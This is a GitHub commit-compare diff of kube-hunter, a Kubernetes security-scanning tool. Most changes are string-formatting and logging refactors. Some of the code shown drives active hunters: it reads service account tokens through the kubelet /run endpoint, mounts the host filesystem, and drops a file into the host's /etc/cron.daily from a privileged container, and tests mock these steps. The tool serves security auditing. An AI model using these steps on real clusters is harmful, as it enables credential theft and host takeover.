Compare commits

..

5 Commits

Author SHA1 Message Date
Liz Rice
16103bfbcf Merge branch 'master' into fix-hunting-bugs 2020-09-04 12:15:52 +01:00
Liz Rice
129ac8d0eb Merge branch 'master' into fix-hunting-bugs 2020-09-04 12:02:12 +01:00
Liz Rice
19c00e9ee2 Merge branch 'master' into fix-hunting-bugs 2020-09-04 09:44:14 +01:00
Daniel Sagi
ab40d90b13 changed self.protocol in other places on etcd hunting. this is a typo, protocol is a property of events, not hunters 2020-08-21 05:46:28 -07:00
Daniel Sagi
45a92a9577 fixed etcd version hunting typo 2020-08-21 05:18:12 -07:00
33 changed files with 108 additions and 222 deletions

View File

@@ -1,14 +0,0 @@
name: Greetings
on: [pull_request, issues]
jobs:
greeting:
runs-on: ubuntu-latest
steps:
- uses: actions/first-interaction@v1
with:
repo-token: ${{ secrets.GITHUB_TOKEN }}
issue-message: "Hola! @${{ github.actor }} 🥳 , You've just created an Issue!🌟 Thanks for making the Project Better"
pr-message: 'Submitted a PR already ?? @${{ github.actor }} . Sit tight until one of our amazing maintainers review it. Make sure you read the contributing guide'

1
.gitignore vendored
View File

@@ -24,7 +24,6 @@ var/
*.egg
*.spec
.eggs
pip-wheel-metadata
# Directory Cache Files
.DS_Store

View File

@@ -5,7 +5,6 @@ python:
- "3.6"
- "3.7"
- "3.8"
- "3.9"
install:
- pip install -r requirements.txt
- pip install -r requirements-dev.txt

View File

@@ -34,7 +34,6 @@ Table of Contents
* [Prerequisites](#prerequisites)
* [Container](#container)
* [Pod](#pod)
* [Contribution](#contribution)
## Hunting
@@ -175,8 +174,5 @@ The example `job.yaml` file defines a Job that will run kube-hunter in a pod, us
* Find the pod name with `kubectl describe job kube-hunter`
* View the test results with `kubectl logs <pod name>`
## Contribution
To read the contribution guidelines, <a href="https://github.com/aquasecurity/kube-hunter/blob/master/CONTRIBUTING.md"> Click here </a>
## License
This repository is available under the [Apache License 2.0](https://github.com/aquasecurity/kube-hunter/blob/master/LICENSE).

View File

@@ -12,7 +12,7 @@ Kubernetes API was accessed with Pod Service Account or without Authentication (
## Remediation
Secure access to your Kubernetes API.
Secure acess to your Kubernetes API.
It is recommended to explicitly specify a Service Account for all of your workloads (`serviceAccountName` in `Pod.Spec`), and manage their permissions according to the least privilege principal.
@@ -21,4 +21,4 @@ Consider opting out automatic mounting of SA token using `automountServiceAccoun
## References
- [Configure Service Accounts for Pods](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/)
- [Configure Service Accounts for Pods](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/)

View File

@@ -1,23 +0,0 @@
---
vid: KHV052
title: Exposed Pods
categories: [Information Disclosure]
---
# {{ page.vid }} - {{ page.title }}
## Issue description
An attacker could view sensitive information about pods that are bound to a Node using the exposed /pods endpoint
This can be done either by accessing the readonly port (default 10255), or from the secure kubelet port (10250)
## Remediation
Ensure kubelet is protected using `--anonymous-auth=false` kubelet flag. Allow only legitimate users using `--client-ca-file` or `--authentication-token-webhook` kubelet flags. This is usually done by the installer or cloud provider.
Disable the readonly port by using `--read-only-port=0` kubelet flag.
## References
- [Kubelet configuration](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/)
- [Kubelet authentication/authorization](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/)

Binary file not shown.

Before

Width:  |  Height:  |  Size: 111 KiB

After

Width:  |  Height:  |  Size: 144 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 19 KiB

After

Width:  |  Height:  |  Size: 27 KiB

View File

@@ -18,7 +18,6 @@ config = Config(
cidr=args.cidr,
include_patched_versions=args.include_patched_versions,
interface=args.interface,
log_file=args.log_file,
mapping=args.mapping,
network_timeout=args.network_timeout,
pod=args.pod,
@@ -26,7 +25,7 @@ config = Config(
remote=args.remote,
statistics=args.statistics,
)
setup_logger(args.log, args.log_file)
setup_logger(args.log)
set_config(config)
# Running all other registered plugins before execution
@@ -73,13 +72,13 @@ def list_hunters():
print("\nPassive Hunters:\n----------------")
for hunter, docs in handler.passive_hunters.items():
name, doc = hunter.parse_docs(docs)
print(f"* {name}\n {doc}\n")
print("* {}\n {}\n".format(name, doc))
if config.active:
print("\n\nActive Hunters:\n---------------")
for hunter, docs in handler.active_hunters.items():
name, doc = hunter.parse_docs(docs)
print(f"* {name}\n {doc}\n")
print("* {}\n {}\n".format(name, doc))
hunt_started_lock = threading.Lock()

View File

@@ -13,7 +13,6 @@ class Config:
- interface: Interface scanning mode
- list_hunters: Print a list of existing hunters
- log_level: Log level
- log_file: Log File path
- mapping: Report only found components
- network_timeout: Timeout for network operations
- pod: From pod scanning mode
@@ -28,7 +27,6 @@ class Config:
dispatcher: Optional[Any] = None
include_patched_versions: bool = False
interface: bool = False
log_file: Optional[str] = None
mapping: bool = False
network_timeout: float = 5.0
pod: bool = False

View File

@@ -1,5 +1,6 @@
import logging
DEFAULT_LEVEL = logging.INFO
DEFAULT_LEVEL_NAME = logging.getLevelName(DEFAULT_LEVEL)
LOG_FORMAT = "%(asctime)s %(levelname)s %(name)s %(message)s"
@@ -9,7 +10,7 @@ logging.getLogger("scapy.runtime").setLevel(logging.CRITICAL)
logging.getLogger("scapy.loading").setLevel(logging.CRITICAL)
def setup_logger(level_name, logfile):
def setup_logger(level_name):
# Remove any existing handlers
# Unnecessary in Python 3.8 since `logging.basicConfig` has `force` parameter
for h in logging.getLogger().handlers[:]:
@@ -21,9 +22,6 @@ def setup_logger(level_name, logfile):
else:
log_level = getattr(logging, level_name.upper(), None)
log_level = log_level if isinstance(log_level, int) else None
if logfile is None:
logging.basicConfig(level=log_level or DEFAULT_LEVEL, format=LOG_FORMAT)
else:
logging.basicConfig(filename=logfile, level=log_level or DEFAULT_LEVEL, format=LOG_FORMAT)
logging.basicConfig(level=log_level or DEFAULT_LEVEL, format=LOG_FORMAT)
if not log_level:
logging.warning(f"Unknown log level '{level_name}', using {DEFAULT_LEVEL_NAME}")

View File

@@ -56,13 +56,6 @@ def parser_add_arguments(parser):
help="Set log level, options are: debug, info, warn, none",
)
parser.add_argument(
"--log-file",
type=str,
default=None,
help="Path to a log file to output all logs to",
)
parser.add_argument(
"--report",
type=str,

View File

@@ -14,7 +14,7 @@ logger = logging.getLogger(__name__)
# Inherits Queue object, handles events asynchronously
class EventQueue(Queue):
def __init__(self, num_worker=10):
super().__init__()
super(EventQueue, self).__init__()
self.passive_hunters = dict()
self.active_hunters = dict()
self.all_hunters = dict()

View File

@@ -37,7 +37,7 @@ class RunningAsPodEvent(Event):
try:
with open(f"/var/run/secrets/kubernetes.io/serviceaccount/{file}") as f:
return f.read()
except OSError:
except IOError:
pass
@@ -53,7 +53,7 @@ class AzureMetadataApi(Vulnerability, Event):
vid="KHV003",
)
self.cidr = cidr
self.evidence = f"cidr: {cidr}"
self.evidence = "cidr: {}".format(cidr)
class HostScanEvent(Event):

View File

@@ -46,16 +46,11 @@ class AzureSpnHunter(Hunter):
logger.debug("failed getting pod info")
else:
pods_data = r.json().get("items", [])
suspicious_volume_names = []
for pod_data in pods_data:
for volume in pod_data["spec"].get("volumes", []):
if volume.get("hostPath"):
path = volume["hostPath"]["path"]
if "/etc/kubernetes/azure.json".startswith(path):
suspicious_volume_names.append(volume["name"])
for container in pod_data["spec"]["containers"]:
for mount in container.get("volumeMounts", []):
if mount["name"] in suspicious_volume_names:
for mount in container["volumeMounts"]:
path = mount["mountPath"]
if "/etc/kubernetes/azure.json".startswith(path):
return {
"name": container["name"],
"pod": pod_data["metadata"]["name"],

View File

@@ -343,7 +343,7 @@ class AccessApiServer(Hunter):
else:
self.publish_event(ServerApiAccess(api, self.with_token))
namespaces = self.get_items(f"{self.path}/api/v1/namespaces")
namespaces = self.get_items("{path}/api/v1/namespaces".format(path=self.path))
if namespaces:
self.publish_event(ListNamespaces(namespaces, self.with_token))
@@ -371,7 +371,7 @@ class AccessApiServerWithToken(AccessApiServer):
"""
def __init__(self, event):
super().__init__(event)
super(AccessApiServerWithToken, self).__init__(event)
assert self.event.auth_token
self.headers = {"Authorization": f"Bearer {self.event.auth_token}"}
self.category = InformationDisclosure

View File

@@ -43,7 +43,7 @@ class ArpSpoofHunter(ActiveHunter):
def detect_l3_on_host(self, arp_responses):
""" returns True for an existence of an L3 network plugin """
logger.debug("Attempting to detect L3 network plugin using ARP")
unique_macs = list({response[ARP].hwsrc for _, response in arp_responses})
unique_macs = list(set(response[ARP].hwsrc for _, response in arp_responses))
# if LAN addresses not unique
if len(unique_macs) == 1:

View File

@@ -23,7 +23,7 @@ class CertificateEmail(Vulnerability, Event):
vid="KHV021",
)
self.email = email
self.evidence = f"email: {self.email}"
self.evidence = "email: {}".format(self.email)
@handler.subscribe(Service)

View File

@@ -104,7 +104,7 @@ class IncompleteFixToKubectlCpVulnerability(Vulnerability, Event):
vid="KHV027",
)
self.binary_version = binary_version
self.evidence = f"kubectl version: {self.binary_version}"
self.evidence = "kubectl version: {}".format(self.binary_version)
class KubectlCpVulnerability(Vulnerability, Event):
@@ -120,7 +120,7 @@ class KubectlCpVulnerability(Vulnerability, Event):
vid="KHV028",
)
self.binary_version = binary_version
self.evidence = f"kubectl version: {self.binary_version}"
self.evidence = "kubectl version: {}".format(self.binary_version)
class CveUtils:

View File

@@ -25,7 +25,7 @@ class PossibleDnsSpoofing(Vulnerability, Event):
vid="KHV030",
)
self.kubedns_pod_ip = kubedns_pod_ip
self.evidence = f"kube-dns at: {self.kubedns_pod_ip}"
self.evidence = "kube-dns at: {}".format(self.kubedns_pod_ip)
# Only triggered with RunningAsPod base event

View File

@@ -35,7 +35,10 @@ class ExposedPodsHandler(Vulnerability, Event):
def __init__(self, pods):
Vulnerability.__init__(
self, component=Kubelet, name="Exposed Pods", category=InformationDisclosure, vid="KHV052"
self,
component=Kubelet,
name="Exposed Pods",
category=InformationDisclosure,
)
self.pods = pods
self.evidence = f"count: {len(self.pods)}"
@@ -81,7 +84,7 @@ class ExposedRunningPodsHandler(Vulnerability, Event):
vid="KHV038",
)
self.count = count
self.evidence = f"{self.count} running pods"
self.evidence = "{} running pods".format(self.count)
class ExposedExecHandler(Vulnerability, Event):
@@ -529,7 +532,7 @@ class ProveAnonymousAuth(ActiveHunter):
def __init__(self, event):
self.event = event
self.base_url = f"https://{self.event.host}:10250/"
self.base_url = "https://{host}:10250/".format(host=self.event.host)
def get_request(self, url, verify=False):
config = get_config()
@@ -568,7 +571,7 @@ class ProveAnonymousAuth(ActiveHunter):
return ProveAnonymousAuth.has_no_error(result) and ProveAnonymousAuth.has_no_exception(result)
def cat_command(self, run_request_url, full_file_path):
return self.post_request(run_request_url, {"cmd": f"cat {full_file_path}"})
return self.post_request(run_request_url, {"cmd": "cat {}".format(full_file_path)})
def process_container(self, run_request_url):
service_account_token = self.cat_command(run_request_url, "/var/run/secrets/kubernetes.io/serviceaccount/token")
@@ -605,7 +608,7 @@ class ProveAnonymousAuth(ActiveHunter):
for container_data in pod_data["spec"]["containers"]:
container_name = container_data["name"]
run_request_url = self.base_url + f"run/{pod_namespace}/{pod_id}/{container_name}"
run_request_url = self.base_url + "run/{}/{}/{}".format(pod_namespace, pod_id, container_name)
extracted_data = self.process_container(run_request_url)
@@ -614,11 +617,11 @@ class ProveAnonymousAuth(ActiveHunter):
environment_variables = extracted_data["environment_variables"]
temp_message += (
f"\n\nPod namespace: {pod_namespace}"
+ f"\n\nPod ID: {pod_id}"
+ f"\n\nContainer name: {container_name}"
+ f"\n\nService account token: {service_account_token}"
+ f"\nEnvironment variables: {environment_variables}"
"\n\nPod namespace: {}".format(pod_namespace)
+ "\n\nPod ID: {}".format(pod_id)
+ "\n\nContainer name: {}".format(container_name)
+ "\n\nService account token: {}".format(service_account_token)
+ "\nEnvironment variables: {}".format(environment_variables)
)
first_check = container_data.get("securityContext", {}).get("privileged")
@@ -643,7 +646,7 @@ class ProveAnonymousAuth(ActiveHunter):
if temp_message:
message = "The following containers have been successfully breached." + temp_message
self.event.evidence = f"{message}"
self.event.evidence = "{}".format(message)
if exposed_existing_privileged_containers:
self.publish_event(
@@ -663,7 +666,7 @@ class MaliciousIntentViaSecureKubeletPort(ActiveHunter):
def __init__(self, event, seconds_to_wait_for_os_command=1):
self.event = event
self.base_url = f"https://{self.event.host}:10250/"
self.base_url = "https://{host}:10250/".format(host=self.event.host)
self.seconds_to_wait_for_os_command = seconds_to_wait_for_os_command
self.number_of_rm_attempts = 5
self.number_of_rmdir_attempts = 5
@@ -682,7 +685,7 @@ class MaliciousIntentViaSecureKubeletPort(ActiveHunter):
return "Exception: " + str(ex)
def cat_command(self, run_request_url, full_file_path):
return self.post_request(run_request_url, {"cmd": f"cat {full_file_path}"})
return self.post_request(run_request_url, {"cmd": "cat {}".format(full_file_path)})
def clean_attacked_exposed_existing_privileged_container(
self,
@@ -698,7 +701,7 @@ class MaliciousIntentViaSecureKubeletPort(ActiveHunter):
self.rm_command(
run_request_url,
f"{directory_created}/etc/cron.daily/{file_created}",
"{}/etc/cron.daily/{}".format(directory_created, file_created),
number_of_rm_attempts,
seconds_to_wait_for_os_command,
)
@@ -726,7 +729,9 @@ class MaliciousIntentViaSecureKubeletPort(ActiveHunter):
def rm_command(self, run_request_url, file_to_remove, number_of_rm_attempts, seconds_to_wait_for_os_command):
if self.check_file_exists(run_request_url, file_to_remove):
for _ in range(number_of_rm_attempts):
command_execution_outcome = self.post_request(run_request_url, {"cmd": f"rm -f {file_to_remove}"})
command_execution_outcome = self.post_request(
run_request_url, {"cmd": "rm -f {}".format(file_to_remove)}
)
if seconds_to_wait_for_os_command:
time.sleep(seconds_to_wait_for_os_command)
@@ -753,10 +758,10 @@ class MaliciousIntentViaSecureKubeletPort(ActiveHunter):
return False
def chmod_command(self, run_request_url, permissions, file):
return self.post_request(run_request_url, {"cmd": f"chmod {permissions} {file}"})
return self.post_request(run_request_url, {"cmd": "chmod {} {}".format(permissions, file)})
def touch_command(self, run_request_url, file_to_create):
return self.post_request(run_request_url, {"cmd": f"touch {file_to_create}"})
return self.post_request(run_request_url, {"cmd": "touch {}".format(file_to_create)})
def attack_exposed_existing_privileged_container(
self, run_request_url, directory_created, number_of_rm_attempts, seconds_to_wait_for_os_command, file_name=None
@@ -764,7 +769,7 @@ class MaliciousIntentViaSecureKubeletPort(ActiveHunter):
if file_name is None:
file_name = "kube-hunter" + str(uuid.uuid1())
file_name_with_path = f"{directory_created}/etc/cron.daily/{file_name}"
file_name_with_path = "{}/etc/cron.daily/{}".format(directory_created, file_name)
file_created = self.touch_command(run_request_url, file_name_with_path)
@@ -792,7 +797,9 @@ class MaliciousIntentViaSecureKubeletPort(ActiveHunter):
):
if self.check_directory_exists(run_request_url, directory_to_remove):
for _ in range(number_of_rmdir_attempts):
command_execution_outcome = self.post_request(run_request_url, {"cmd": f"rmdir {directory_to_remove}"})
command_execution_outcome = self.post_request(
run_request_url, {"cmd": "rmdir {}".format(directory_to_remove)}
)
if seconds_to_wait_for_os_command:
time.sleep(seconds_to_wait_for_os_command)
@@ -819,7 +826,7 @@ class MaliciousIntentViaSecureKubeletPort(ActiveHunter):
return False
def ls_command(self, run_request_url, file_or_directory):
return self.post_request(run_request_url, {"cmd": f"ls {file_or_directory}"})
return self.post_request(run_request_url, {"cmd": "ls {}".format(file_or_directory)})
def umount_command(
self,
@@ -837,7 +844,7 @@ class MaliciousIntentViaSecureKubeletPort(ActiveHunter):
for _ in range(number_of_umount_attempts):
# Ref: http://man7.org/linux/man-pages/man2/umount.2.html
command_execution_outcome = self.post_request(
run_request_url, {"cmd": f"umount {file_system_or_partition} {directory}"}
run_request_url, {"cmd": "umount {} {}".format(file_system_or_partition, directory)}
)
if seconds_to_wait_for_os_command:
@@ -868,16 +875,16 @@ class MaliciousIntentViaSecureKubeletPort(ActiveHunter):
def mount_command(self, run_request_url, file_system_or_partition, directory):
# Ref: http://man7.org/linux/man-pages/man1/mkdir.1.html
return self.post_request(run_request_url, {"cmd": f"mount {file_system_or_partition} {directory}"})
return self.post_request(run_request_url, {"cmd": "mount {} {}".format(file_system_or_partition, directory)})
def mkdir_command(self, run_request_url, directory_to_create):
# Ref: http://man7.org/linux/man-pages/man1/mkdir.1.html
return self.post_request(run_request_url, {"cmd": f"mkdir {directory_to_create}"})
return self.post_request(run_request_url, {"cmd": "mkdir {}".format(directory_to_create)})
def findfs_command(self, run_request_url, file_system_or_partition_type, file_system_or_partition):
# Ref: http://man7.org/linux/man-pages/man8/findfs.8.html
return self.post_request(
run_request_url, {"cmd": f"findfs {file_system_or_partition_type}{file_system_or_partition}"}
run_request_url, {"cmd": "findfs {}{}".format(file_system_or_partition_type, file_system_or_partition)}
)
def get_root_values(self, command_line):
@@ -936,7 +943,9 @@ class MaliciousIntentViaSecureKubeletPort(ActiveHunter):
)
if ProveAnonymousAuth.has_no_error_nor_exception(mounted_file_system_or_partition):
host_name = self.cat_command(run_request_url, f"{directory_created}/etc/hostname")
host_name = self.cat_command(
run_request_url, "{}/etc/hostname".format(directory_created)
)
if ProveAnonymousAuth.has_no_error_nor_exception(host_name):
return {
@@ -970,7 +979,7 @@ class MaliciousIntentViaSecureKubeletPort(ActiveHunter):
pod_id = exposed_existing_privileged_containers["pod_id"]
container_name = exposed_existing_privileged_containers["container_name"]
run_request_url = self.base_url + f"run/{pod_namespace}/{pod_id}/{container_name}"
run_request_url = self.base_url + "run/{}/{}/{}".format(pod_namespace, pod_id, container_name)
is_exposed_existing_privileged_container_privileged = self.process_exposed_existing_privileged_container(
run_request_url,
@@ -1020,7 +1029,7 @@ class MaliciousIntentViaSecureKubeletPort(ActiveHunter):
+ temp_message
)
self.event.evidence = f"{message}"
self.event.evidence = "{}".format(message)
else:
message = (
"The following exposed existing privileged containers"
@@ -1029,7 +1038,7 @@ class MaliciousIntentViaSecureKubeletPort(ActiveHunter):
+ temp_message
)
self.event.evidence = f"{message}"
self.event.evidence = "{}".format(message)
@handler.subscribe(ExposedRunHandler)
@@ -1136,16 +1145,11 @@ class ProveSystemLogs(ActiveHunter):
f"{self.base_url}/" + KubeletHandlers.LOGS.value.format(path="audit/audit.log"),
verify=False,
timeout=config.network_timeout,
)
# TODO: add more methods for proving system logs
if audit_logs.status_code == requests.status_codes.codes.OK:
logger.debug(f"Audit log of host {self.event.host}: {audit_logs.text[:10]}")
# iterating over proctitles and converting them into readable strings
proctitles = []
for proctitle in re.findall(r"proctitle=(\w+)", audit_logs.text):
proctitles.append(bytes.fromhex(proctitle).decode("utf-8").replace("\x00", " "))
self.event.proctitles = proctitles
self.event.evidence = f"audit log: {proctitles}"
else:
self.event.evidence = "Could not parse system logs"
).text
logger.debug(f"Audit log of host {self.event.host}: {audit_logs[:10]}")
# iterating over proctitles and converting them into readable strings
proctitles = []
for proctitle in re.findall(r"proctitle=(\w+)", audit_logs):
proctitles.append(bytes.fromhex(proctitle).decode("utf-8").replace("\x00", " "))
self.event.proctitles = proctitles
self.event.evidence = f"audit log: {proctitles}"

View File

@@ -32,7 +32,7 @@ class WriteMountToVarLog(Vulnerability, Event):
vid="KHV047",
)
self.pods = pods
self.evidence = "pods: {}".format(", ".join(pod["metadata"]["name"] for pod in self.pods))
self.evidence = "pods: {}".format(", ".join((pod["metadata"]["name"] for pod in self.pods)))
class DirectoryTraversalWithKubelet(Vulnerability, Event):
@@ -47,7 +47,7 @@ class DirectoryTraversalWithKubelet(Vulnerability, Event):
category=PrivilegeEscalation,
)
self.output = output
self.evidence = f"output: {self.output}"
self.evidence = "output: {}".format(self.output)
@handler.subscribe(ExposedPodsHandler)

View File

@@ -7,9 +7,6 @@ from kube_hunter.modules.report.collector import (
vulnerabilities_lock,
)
BASE_KB_LINK = "https://avd.aquasec.com/"
FULL_KB_LINK = "https://avd.aquasec.com/kube-hunter/{vid}/"
class BaseReporter:
def get_nodes(self):
@@ -41,7 +38,6 @@ class BaseReporter:
"vulnerability": vuln.get_name(),
"description": vuln.explain(),
"evidence": str(vuln.evidence),
"avd_reference": FULL_KB_LINK.format(vid=vuln.get_vid().lower()),
"hunter": vuln.hunter.get_name(),
}
for vuln in vulnerabilities
@@ -67,4 +63,6 @@ class BaseReporter:
if statistics:
report["hunter_statistics"] = self.get_hunter_statistics()
report["kburl"] = "https://aquasecurity.github.io/kube-hunter/kb/{vid}"
return report

View File

@@ -1,6 +1,6 @@
from prettytable import ALL, PrettyTable
from kube_hunter.modules.report.base import BaseReporter, BASE_KB_LINK
from kube_hunter.modules.report.base import BaseReporter
from kube_hunter.modules.report.collector import (
services,
vulnerabilities,
@@ -9,8 +9,9 @@ from kube_hunter.modules.report.collector import (
vulnerabilities_lock,
)
EVIDENCE_PREVIEW = 100
EVIDENCE_PREVIEW = 40
MAX_TABLE_WIDTH = 20
KB_LINK = "https://github.com/aquasecurity/kube-hunter/tree/master/docs/_kb"
class PlainReporter(BaseReporter):
@@ -59,7 +60,7 @@ class PlainReporter(BaseReporter):
if service.event_id not in id_memory:
nodes_table.add_row(["Node/Master", service.host])
id_memory.add(service.event_id)
nodes_ret = f"\nNodes\n{nodes_table}\n"
nodes_ret = "\nNodes\n{}\n".format(nodes_table)
services_lock.release()
return nodes_ret
@@ -113,7 +114,7 @@ class PlainReporter(BaseReporter):
return (
"\nVulnerabilities\n"
"For further information about a vulnerability, search its ID in: \n"
f"{BASE_KB_LINK}\n{vuln_table}\n"
f"{KB_LINK}\n{vuln_table}\n"
)
def hunters_table(self):

View File

@@ -22,8 +22,6 @@ classifiers =
Programming Language :: Python :: 3.6
Programming Language :: Python :: 3.7
Programming Language :: Python :: 3.8
Programming Language :: Python :: 3.9
Programming Language :: Python :: 3 :: Only
Topic :: Security
[options]

View File

@@ -11,13 +11,12 @@ def test_setup_logger_level():
("NOTEXISTS", logging.INFO),
("BASIC_FORMAT", logging.INFO),
]
logFile = None
for level, expected in test_cases:
setup_logger(level, logFile)
setup_logger(level)
actual = logging.getLogger().getEffectiveLevel()
assert actual == expected, f"{level} level should be {expected} (got {actual})"
def test_setup_logger_none():
setup_logger("NONE", None)
setup_logger("NONE")
assert logging.getLogger().manager.disable == logging.CRITICAL

View File

@@ -123,7 +123,7 @@ def test_InsecureApiServer():
# We should only generate an ApiServer event for a response that looks like it came from a Kubernetes node
@handler.subscribe(ApiServer)
class testApiServer:
class testApiServer(object):
def __init__(self, event):
print("Event")
assert event.host == "mockKubernetes"

View File

@@ -90,7 +90,7 @@ class TestDiscoveryUtils:
def test_generate_hosts_valid_ignore():
remove = IPAddress("192.168.1.8")
scan = "192.168.1.0/24"
expected = {ip for ip in IPNetwork(scan) if ip != remove}
expected = set(ip for ip in IPNetwork(scan) if ip != remove)
actual = set(HostDiscoveryHelpers.generate_hosts([scan, f"!{str(remove)}"]))

View File

@@ -1,56 +0,0 @@
# flake8: noqa: E402
import requests_mock
from kube_hunter.conf import Config, set_config
set_config(Config())
from kube_hunter.modules.hunting.kubelet import ExposedRunHandler
from kube_hunter.modules.hunting.aks import AzureSpnHunter
def test_AzureSpnHunter():
e = ExposedRunHandler()
e.host = "mockKubernetes"
e.port = 443
e.protocol = "https"
pod_template = '{{"items":[ {{"apiVersion":"v1","kind":"Pod","metadata":{{"name":"etc","namespace":"default"}},"spec":{{"containers":[{{"command":["sleep","99999"],"image":"ubuntu","name":"test","volumeMounts":[{{"mountPath":"/mp","name":"v"}}]}}],"volumes":[{{"hostPath":{{"path":"{}"}},"name":"v"}}]}}}} ]}}'
bad_paths = ["/", "/etc", "/etc/", "/etc/kubernetes", "/etc/kubernetes/azure.json"]
good_paths = ["/yo", "/etc/yo", "/etc/kubernetes/yo.json"]
for p in bad_paths:
with requests_mock.Mocker() as m:
m.get("https://mockKubernetes:443/pods", text=pod_template.format(p))
h = AzureSpnHunter(e)
c = h.get_key_container()
assert c
for p in good_paths:
with requests_mock.Mocker() as m:
m.get("https://mockKubernetes:443/pods", text=pod_template.format(p))
h = AzureSpnHunter(e)
c = h.get_key_container()
assert c == None
with requests_mock.Mocker() as m:
pod_no_volume_mounts = '{"items":[ {"apiVersion":"v1","kind":"Pod","metadata":{"name":"etc","namespace":"default"},"spec":{"containers":[{"command":["sleep","99999"],"image":"ubuntu","name":"test"}],"volumes":[{"hostPath":{"path":"/whatever"},"name":"v"}]}} ]}'
m.get("https://mockKubernetes:443/pods", text=pod_no_volume_mounts)
h = AzureSpnHunter(e)
c = h.get_key_container()
assert c == None
with requests_mock.Mocker() as m:
pod_no_volumes = '{"items":[ {"apiVersion":"v1","kind":"Pod","metadata":{"name":"etc","namespace":"default"},"spec":{"containers":[{"command":["sleep","99999"],"image":"ubuntu","name":"test"}]}} ]}'
m.get("https://mockKubernetes:443/pods", text=pod_no_volumes)
h = AzureSpnHunter(e)
c = h.get_key_container()
assert c == None
with requests_mock.Mocker() as m:
pod_other_volume = '{"items":[ {"apiVersion":"v1","kind":"Pod","metadata":{"name":"etc","namespace":"default"},"spec":{"containers":[{"command":["sleep","99999"],"image":"ubuntu","name":"test","volumeMounts":[{"mountPath":"/mp","name":"v"}]}],"volumes":[{"emptyDir":{},"name":"v"}]}} ]}'
m.get("https://mockKubernetes:443/pods", text=pod_other_volume)
h = AzureSpnHunter(e)
c = h.get_key_container()
assert c == None

View File

@@ -122,7 +122,7 @@ def test_AccessApiServer():
@handler.subscribe(ListNamespaces)
class test_ListNamespaces:
class test_ListNamespaces(object):
def __init__(self, event):
print("ListNamespaces")
assert event.evidence == ["hello"]
@@ -135,7 +135,7 @@ class test_ListNamespaces:
@handler.subscribe(ListPodsAndNamespaces)
class test_ListPodsAndNamespaces:
class test_ListPodsAndNamespaces(object):
def __init__(self, event):
print("ListPodsAndNamespaces")
assert len(event.evidence) == 2
@@ -158,7 +158,7 @@ class test_ListPodsAndNamespaces:
# Should never see this because the API call in the test returns 403 status code
@handler.subscribe(ListRoles)
class test_ListRoles:
class test_ListRoles(object):
def __init__(self, event):
print("ListRoles")
assert 0
@@ -169,7 +169,7 @@ class test_ListRoles:
# Should only see this when we have a token because the API call returns an empty list of items
# in the test where we have no token
@handler.subscribe(ListClusterRoles)
class test_ListClusterRoles:
class test_ListClusterRoles(object):
def __init__(self, event):
print("ListClusterRoles")
assert event.auth_token == "so-secret"
@@ -178,7 +178,7 @@ class test_ListClusterRoles:
@handler.subscribe(ServerApiAccess)
class test_ServerApiAccess:
class test_ServerApiAccess(object):
def __init__(self, event):
print("ServerApiAccess")
if event.category == UnauthenticatedAccess:
@@ -191,7 +191,7 @@ class test_ServerApiAccess:
@handler.subscribe(ApiServerPassiveHunterFinished)
class test_PassiveHunterFinished:
class test_PassiveHunterFinished(object):
def __init__(self, event):
print("PassiveHunterFinished")
assert event.namespaces == ["hello"]
@@ -276,12 +276,12 @@ def test_AccessApiServerActive():
@handler.subscribe(CreateANamespace)
class test_CreateANamespace:
class test_CreateANamespace(object):
def __init__(self, event):
assert "abcde" in event.evidence
@handler.subscribe(DeleteANamespace)
class test_DeleteANamespace:
class test_DeleteANamespace(object):
def __init__(self, event):
assert "2019-02-26" in event.evidence

View File

@@ -37,6 +37,6 @@ rceJuGsnJEQ=
@handler.subscribe(CertificateEmail)
class test_CertificateEmail:
class test_CertificateEmail(object):
def __init__(self, event):
assert event.email == b"build@nodejs.org0"

View File

@@ -41,7 +41,7 @@ def test_K8sCveHunter():
@handler.subscribe(ServerApiVersionEndPointAccessPE)
class test_CVE_2018_1002105:
class test_CVE_2018_1002105(object):
def __init__(self, event):
global cve_counter
cve_counter += 1

View File

@@ -270,7 +270,7 @@ def test_proveanonymousauth_connectivity_issues():
@handler.subscribe(ExposedExistingPrivilegedContainersViaSecureKubeletPort)
class ExposedPrivilegedContainersViaAnonymousAuthEnabledInSecureKubeletPortEventCounter:
class ExposedPrivilegedContainersViaAnonymousAuthEnabledInSecureKubeletPortEventCounter(object):
def __init__(self, event):
global counter
counter += 1
@@ -371,9 +371,9 @@ def test_attack_exposed_existing_privileged_container_success():
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
file_name = "kube-hunter-mock" + str(uuid.uuid1())
file_name_with_path = f"{directory_created}/etc/cron.daily/{file_name}"
file_name_with_path = "{}/etc/cron.daily/{}".format(directory_created, file_name)
session_mock.post(run_url + urllib.parse.quote(f"touch {file_name_with_path}", safe=""), text="")
session_mock.post(run_url + urllib.parse.quote("touch {}".format(file_name_with_path), safe=""), text="")
session_mock.post(
run_url + urllib.parse.quote("chmod {} {}".format("755", file_name_with_path), safe=""), text=""
)
@@ -395,12 +395,12 @@ def test_attack_exposed_existing_privileged_container_failure_when_touch():
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
file_name = "kube-hunter-mock" + str(uuid.uuid1())
file_name_with_path = f"{directory_created}/etc/cron.daily/{file_name}"
file_name_with_path = "{}/etc/cron.daily/{}".format(directory_created, file_name)
url = "https://localhost:10250/"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
session_mock.post(
run_url + urllib.parse.quote(f"touch {file_name_with_path}", safe=""),
run_url + urllib.parse.quote("touch {}".format(file_name_with_path), safe=""),
text="Operation not permitted",
)
@@ -420,11 +420,11 @@ def test_attack_exposed_existing_privileged_container_failure_when_chmod():
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
file_name = "kube-hunter-mock" + str(uuid.uuid1())
file_name_with_path = f"{directory_created}/etc/cron.daily/{file_name}"
file_name_with_path = "{}/etc/cron.daily/{}".format(directory_created, file_name)
url = "https://localhost:10250/"
